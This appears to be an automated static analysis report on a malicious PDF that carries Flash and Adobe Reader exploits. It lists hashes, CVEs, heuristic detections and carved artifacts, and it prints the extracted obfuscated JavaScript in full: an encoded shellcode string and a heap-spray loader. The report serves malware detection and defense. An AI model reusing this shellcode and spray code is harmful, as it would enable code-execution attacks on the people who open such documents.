Malicious PDF — malware analysis report

Static analysis result for SHA-256 5744059bd6fdef97…

MALICIOUS

PDF

177.7 KB Created: 2010-06-11 11:09:09 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-11
MD5: ea75d9741c10196e1419f1db3c241c1c SHA-1: 20b0af72373115d5657b23bce5df440110f57dc5 SHA-256: 5744059bd6fdef9769a7968b72c031c143eec4ba39603eaf0335a7007bf901fa
500 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF contains multiple critical heuristic firings indicating exploits for Adobe Flash Player (CVE-2011-0611, CVE-2009-1862, CVE-2010-3654). The embedded JavaScript uses `unescape` and string concatenation to likely construct and execute shellcode. This shellcode is suspected to act as a loader for a secondary payload, as indicated by the `allowLoadBytesCodeExecution` finding.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9896

Heuristics 13

  • Adobe Flash Player RichMedia exploit critical CVE likely CVE_2011_0611_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation with an embedded AS3 SWF loader (ByteArray/loadBytes) and shellcode heap-spray staging. This is the static exploit shape associated with CVE-2011-0611 Flash content delivered through Adobe Reader.
  • Adobe Flash/authplay SWF exploit in PDF — CVE-2009-1862 critical CVE likely CVE_2009_1862_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an embedded SWF, and PDF-side shellcode heap-spray staging. This matches the 2009 authplay.dll Flash-in-PDF exploit delivery shape even when the SWF bytecode does not expose stable printable Run_Sploit markers.
  • Adobe Reader authplay SWF exploit in PDF — CVE-2010-3654 critical CVE likely CVE_2010_3654_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an ActionScript 3 SWF containing DoABC/SymbolClass code with URLRequest or StagePlayer/ByteArray/loadBytes markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-3654 Adobe Reader/Acrobat authplay Flash handling.
  • Flash ActionScript-3 exploit loader in PDF critical CVE related PDF_FLASH_AS3_EXPLOIT_LOADER
    An embedded Flash (SWF) object's ActionScript-3 bytecode contains exploit-loader primitives: decompressing an inner SWF into a ByteArray and executing it via LoaderContext.allowLoadBytesCodeExecution, and/or Vector heap/JIT spray groomers. Benign Flash content does not load and execute code from raw bytes — this is a staged Flash exploit delivered through the document.
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html In extracted file (font_00_sfnt_off00018237.bin)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_00_sfnt_off00018237.bin)
    • http://www.microsoft.com/truetype/fonts/wingdings/http://www.microsoft.com/truetype/designers/bandh/In extracted file (font_02_sfnt_off00024f6e.bin)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x372 3386 bytes
SHA-256: 07712ee1dc3f626fbcd02bae2b545a3b13a7b148fd797cec119edd28db067d6a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function CRTYU()   
{   
	var keyu= "u";
	var a = "\x6D\x65\x64";
	var b = "\x73\x75\x62\x73";
	var c = "\x69\x61";
	var re = /Z/g;
	var sc = "\xff\xcc\x84"
	sc = sc.replace(re,keyu);
    this._strings = new Array;   
}   
  
CRTYU.prototype.append = function(str)   
{   
    this._strings.push(str);   
    return this;   
}   
  
CRTYU.prototype.toString = function()   
{   
    return this._strings.join("");   
}   
  

CRTYU.prototype.length = function()   
{   
    var str = this._strings.join("");   
    return str.length;   
}   

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}

var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z0700%Z0011%Z0001%Z52e2%Z0700%Z5c54%Z0700%Zffff%Zffff%Z0100%Z0001%Z0000%Z0000%Z0104%Z0001%Z1000%Z0000%Z0040%Z0000%Zd731%Z0700%Z15bb%Z0700%Z905a%Z9054%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zeb5a%Z5815%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z1a8b%Z1889%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zc083%Z8304%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z04c2%Zfb81%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z0c0c%Z0c0c%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zee75%Z05eb%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Ze6e8%Zffff%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z90ff%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zffff%Z90ff%Z154d%Z0700%Zd731%Z0700%Z112f%Z0700%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Z6fe6%Zee60%Zace5%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Z2a26%Zdee2%Z15b9%Zdee0%Z596a%Zdee1%Zeeaa%Zdee0"));

var nop = unescape("\x25\x750c0c\x25\x750c0c");
var TMP0 = new CRTYU();
while (nop["\x6c\x65\x6e\x67\x74\x68"] + 20 + 8 < 65536) 
{
  TMP0.append(nop);
  TMP0.append(nop);
  nop = TMP0.toString();
}

spt = nop["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, (0x0c0c-0x24)/2);
spt += sc;
spt += nop;
hack = spt["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 65536/2);

var TMP = new CRTYU();
while(hack["\x6c\x65\x6e\x67\x74\x68"] < 0x80000) 
{
  TMP.append(hack);
  TMP.append(hack);
  hack = TMP.toString();
}

bullet = hack["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (i=0;i<0x1f0;i++) 
{
  var TMP2 = new CRTYU();
  TMP2.append(bullet);
  TMP2.append("s");
  memory[i] = TMP2.toString();
}
objstm_0015_00.bin pdf-objstm-decoded PDF /ObjStm 15 0 obj (inflated) 912 bytes
SHA-256: cbd11d2ce487f41cb2e696adc35306d2f3d38b7de6eab25b0e0d07f05d693f12
font_00_sfnt_off00018237.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x18237 22904 bytes
SHA-256: 55385c5c446968774f94e790ce3dc2f429b0539d3e575aa700349bb263d09389
font_01_sfnt_off0001b04d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1B04D 76120 bytes
SHA-256: 2c4b0f1fd3b5e8bff40c8a59a6f1809d3693c44127aa22e95b95663a62f1b92a
font_02_sfnt_off00024f6e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x24F6E 10288 bytes
SHA-256: 1c042371876e105579f838f266a476edc9cb74bd040b5fa71d93fdcfc5197b1b
font_03_sfnt_off00026600.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x26600 42348 bytes
SHA-256: 981407950c555be0f67f99a94ac51840656713cfa6c89173236cea5b6aa3b0a0
polyglot_child_pdf_off00017bab.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x17BAB 84765 bytes
SHA-256: 8345e6cec39c08d9b651b66900eec2069f29fa3b5d0d9218ff1a5b80875dad91
polyglot_child_pdf_off0002aedb.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x2AEDB 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

Open this report in the interactive analyzer, or submit your own file for analysis.